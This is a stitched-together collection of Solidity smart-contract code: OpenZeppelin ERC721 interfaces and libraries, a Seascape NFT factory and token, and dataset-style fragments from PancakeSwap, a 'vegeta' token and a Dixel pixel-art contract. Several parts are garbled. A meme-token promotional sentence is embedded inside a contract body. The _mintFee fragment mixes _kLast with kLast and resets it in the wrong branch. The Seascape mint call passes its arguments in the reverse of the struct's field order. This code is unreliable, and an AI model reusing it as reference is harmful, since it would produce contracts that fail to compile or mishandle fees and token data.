require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity 0.6.7;
import "./../openzeppelin/contracts/access/AccessControl.sol";
import "./../openzeppelin/contracts/math/SafeMath.sol";
import "./NftTypes.sol";
import "./SeascapeNft.sol";
/// @title Nft Factory mints Seascape NFTs
/// @notice Nft factory has gives to other contracts or wallet addresses permission
/// to mint NFTs. It gives two type of permission set as roles:
///
/// Static role - allows to mint only Common quality NFTs
/// Generator role - allows to mint NFT of any quality.
///
/// Nft Factory can revoke the role, or give it to any number of contracts.
contract NftFactory is AccessControl {
using SafeMath for uint256;
using NftTypes for NftTypes;
bytes32 public constant STATIC_ROLE = keccak256("STATIC");
bytes32 public constant GENERATOR_ROLE = keccak256("GENERATOR");
SeascapeNft private nft;
constructor(address _nft) public {
nft = SeascapeNft(_nft);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
//--------------------------------------------------
// Only Seascape Staking contract
//--------------------------------------------------
function mint(address _owner, uint256 _generation) public onlyStaticUser returns(uint256) {
return nft.mint(_owner, _generation, NftTypes.NORMAL);
}
function mintQuality(address _owner, uint256 _generation, uint8 _quality) public onlyGenerator returns(uint256) {
require (_quality > 0 && _quality < 6, "NFT Factory: invalid quality");
return nft.mint(_owner, _generation, _quality);
}
//--------------------------------------------------
// Only owner
//--------------------------------------------------
function setNft(address _nft) public onlyAdmin {
nft = SeascapeNft(_nft);
}
/// @dev Add an account to the admin role. Restricted to admins.
function addAdmin(address account) public virtual onlyAdmin
{
grantRole(DEFAULT_ADMIN_ROLE, account);
}
/// @dev Remove oneself from the admin role.
function renounceAdmin() public virtual
{
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/// @dev Return `true` if the account belongs to the admin role.
function isAdmin(address account) public virtual view returns (bool)
{
return hasRole(DEFAULT_ADMIN_ROLE, account);
}
/// @dev Restricted to members of the admin role.
modifier onlyAdmin()
{
require(isAdmin(msg.sender), "Restricted to admins.");
_;
}
/// @dev Restricted to members of the user role.
modifier onlyStaticUser()
{
require(isStaticUser(msg.sender), "Restricted to minters.");
_;
}
/// @dev Return `true` if the account belongs to the user role.
function isStaticUser(address account) public virtual view returns (bool)
{
return hasRole(STATIC_ROLE, account);
}
/// @dev Add an account to the user role. Restricted to admins.
function addStaticUser(address account) public virtual onlyAdmin
{
grantRole(STATIC_ROLE, account);
}
/// @dev Remove an account from the user role. Restricted to admins.
function removeStaticUser(address account) public virtual onlyAdmin
{
revokeRole(STATIC_ROLE, account);
}
/// @dev Restricted to members of the user role.
modifier onlyGenerator()
{
require(isGenerator(msg.sender), "Restricted to random generator.");
_;
}
/// @dev Return `true` if the account belongs to the user role.
function isGenerator(address account) public virtual view returns (bool)
{
return hasRole(GENERATOR_ROLE, account);
}
/// @dev Add an account to the user role. Restricted to admins.
function addGenerator(address account) public virtual onlyAdmin
{
grantRole(GENERATOR_ROLE, account);
}
/// @dev Remove an account from the user role. Restricted to admins.
function removeGenerator(address account) public virtual onlyAdmin
{
revokeRole(GENERATOR_ROLE, account);
}
}
pragma solidity 0.6.7;
/// @dev id of Seascape NFT quality.
library NftTypes {
uint8 public constant NORMAL = 1;
uint8 public constant SPECIAL = 2;
uint8 public constant RARE = 3;
uint8 public constant EPIC = 4;
uint8 public constant LEGENDARY = 5;
}
// Seascape NFT
// SPDX-License-Identifier: MIT
pragma solidity 0.6.7;
import "./../openzeppelin/contracts/access/Ownable.sol";
import "./../openzeppelin/contracts/utils/Counters.sol";
import "./../openzeppelin/contracts/token/ERC721/ERC721.sol";
import "./../openzeppelin/contracts/token/ERC721/ERC721Burnable.sol";
/// @title Seascape NFT based on ERC721 standard.
/// @notice Seascape NFT is the NFT used in Seascape Network platform.
/// Nothing special about it except that it has two more additional parameters to
/// for quality and generation to use in Seascape Platform.
/// @author Medet Ahmetson
contract SeascapeNft is ERC721, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private tokenId;
struct Params {
uint256 quality; // seascape points
uint8 generation;
}
/// @dev minting of seascape nfts are done by factory contract only.
address private factory;
/// @dev returns parameters of Seascape NFT by token id.
mapping(uint256 => Params) public paramsOf;
event Minted(address indexed owner, uint256 indexed id, uint256 generation, uint8 quality);
/**
* @dev Sets the {name} and {symbol} of token.
* Initializes {decimals} with a default value of 18.
* Mints all tokens.
* Transfers ownership to another account. So, the token creator will not be counted as an owner.
*/
constructor() public ERC721("Seascape NFT", "SCAPES") {
tokenId.increment(); // set to 1 the incrementor, so first token will be with id 1.
}
modifier onlyFactory() {
require(factory == _msgSender(), "Seascape NFT: Only NFT Factory can call the method");
_;
}
function mint(address _to, uint256 _generation, uint8 _quality) public onlyFactory returns(uint256) {
uint256 _tokenId = tokenId.current();
_safeMint(_to, _tokenId);
paramsOf[_tokenId] = Params(_generation, _quality);
tokenId.increment();
emit Minted(_to, _tokenId, _generation, _quality);
return _tokenId;
}
function setOwner(address _owner) public onlyOwner {
transferOwnership(_owner);
}
function setFactory(address _factory) public onlyOwner {
factory = _factory;
}
function setBaseUri(string memory _uri) public onlyOwner {
_setBaseURI(_uri);
}
}
|
reward per second = totalReward/period
|
uint256 rewardUnit;
| 13,435,222
|
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./full_match/97/0x6cDF86d2bf813dd4FE0F652635781bC86A83C01C/sources/project_/contracts/PancakePair.sol
|
if fee is on, mint liquidity equivalent to 8/25 of the growth in sqrt(k)
|
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IPancakeFactory(factory).feeTo();
feeOn = feeTo != address(0);
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(8);
uint denominator = rootK.mul(17).add(rootKLast.mul(8));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
kLast = 0;
}
}
| 3,269,312
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./full_match/1/0x0FA5B5fE2Da77eA8bc33CC0F29209E5e8B7D1174/sources/contracts/vegeta.sol
|
@dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
|
abstract contract Context {
No Telegram but there is a Discord. NARUTO will be the New, Fresher Saitama Inu, Floki and all of the above.
pragma solidity ^0.8.0;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
| 16,609,921
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./lib/ColorUtils.sol";
import "./DixelSVGGenerator.sol";
import "./DixelArt.sol";
/**
* @title Dixel
*
* Crowd-sourced pixel art community
*/
contract Dixel is Context, ReentrancyGuard, DixelSVGGenerator {
IERC20 public baseToken;
DixelArt public dixelArt;
uint200 internal constant GENESIS_PRICE = 1e15; // Initial price: 0.001 DIXEL (~$0.005)
uint256 internal constant PRICE_INCREASE_RATE = 10; // 0.1% price increase on over-writing
uint256 internal constant REWARD_RATE = 1000; // 10% goes to contributors & 90% goes to NFT contract for refund on burn
uint256 internal constant MAX_RATE = 10000;
uint256 public genesisBlock;
struct Pixel {
uint24 color; // 24bit integer (000000 - ffffff = 0 - 16777215)
uint32 owner; // GAS_SAVING: player.id, max 42B users
uint200 price; // GAS_SAVING
}
struct PixelParams {
uint8 x;
uint8 y;
uint24 color;
}
struct Player {
uint32 id;
uint32 contribution;
uint192 rewardClaimed;
uint256 rewardDebt;
}
uint256 public totalContribution;
uint256 internal accRewardPerContribution;
// Fancy math here:
// - player.rewardDebt: Reward amount that should be deducted (the amount accumulated before I joined)
// - accRewardPerContribution: Accumulated reward per share (contribution)
// (use `accRewardPerContribution * 1e21` because the value is normally less than 1 with many decimals)
// Example: accRewardPerContribution =
// 1. reward: 100 (+100) & total contribution: 100 -> 0 + 100 / 100 = 1.0
// 2. reward: 150 (+50) & total contribution: 200 (+100) -> 1 + 50 / 200 = 1.25
